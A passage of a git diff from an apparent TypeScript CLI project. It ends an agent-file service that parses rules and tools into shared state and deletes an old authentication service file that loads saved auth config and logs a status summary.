+ this.setState({
+ parsedRules: parseAgentFileRules(agentFile.rules),
+ });
+ }
+
+ if (agentFile.tools) {
+ this.setState({
+ parsedTools: parseAgentFileTools(agentFile.tools),
+ });
+ }
+
+ return this.getState();
+ } catch (error: any) {
+ logger.error("Failed to initialize AgentFileService:", error);
+ throw error;
+ }
+ }
+
+ protected override setState(newState: Partial): void {
+ super.setState(newState);
+ serviceContainer.set("update", this.currentState);
+ }
+}
diff --git a/extensions/cli/src/services/AuthService.refactored.ts b/extensions/cli/src/services/AuthService.refactored.ts
deleted file mode 100644
index 0a3a79653..000000000
--- a/extensions/cli/src/services/AuthService.refactored.ts
+++ /dev/null
@@ -1,205 +0,0 @@
-import {
- AuthenticatedConfig,
- login as doLogin,
- logout as doLogout,
- ensureOrganization,
- isAuthenticated,
- listUserOrganizations,
- loadAuthConfig,
- saveAuthConfig,
-} from "../auth/workos.js";
-import { logger } from "../util/logger.js";
-
-import { BaseService } from "./BaseService.js";
-import { AuthServiceState } from "./types.js";
-
-/**
- * Service for managing authentication state and operations
- * Now extends BaseService for common functionality
- */
-export class AuthService extends BaseService {
- constructor() {
- super("AuthService", {
- authConfig: null,
- isAuthenticated: false,
- });
- }
-
- /**
- * Initialize the auth service by loading current config
- */
- async doInitialize(): Promise {
- const authConfig = loadAuthConfig();
- const authenticated = isAuthenticated();
-
- const state: AuthServiceState = {
- authConfig,
- isAuthenticated: authenticated,
- organizationId: authConfig?.organizationId || undefined,
- };
-
- logger.debug("AuthService initialized", {
- authenticated,
- hasConfig: !!authConfig,
- orgId: state.organizationId,
- });
-
- return state;
- }
-
- /**
- * Perform login flow
- */
- async login(): Promise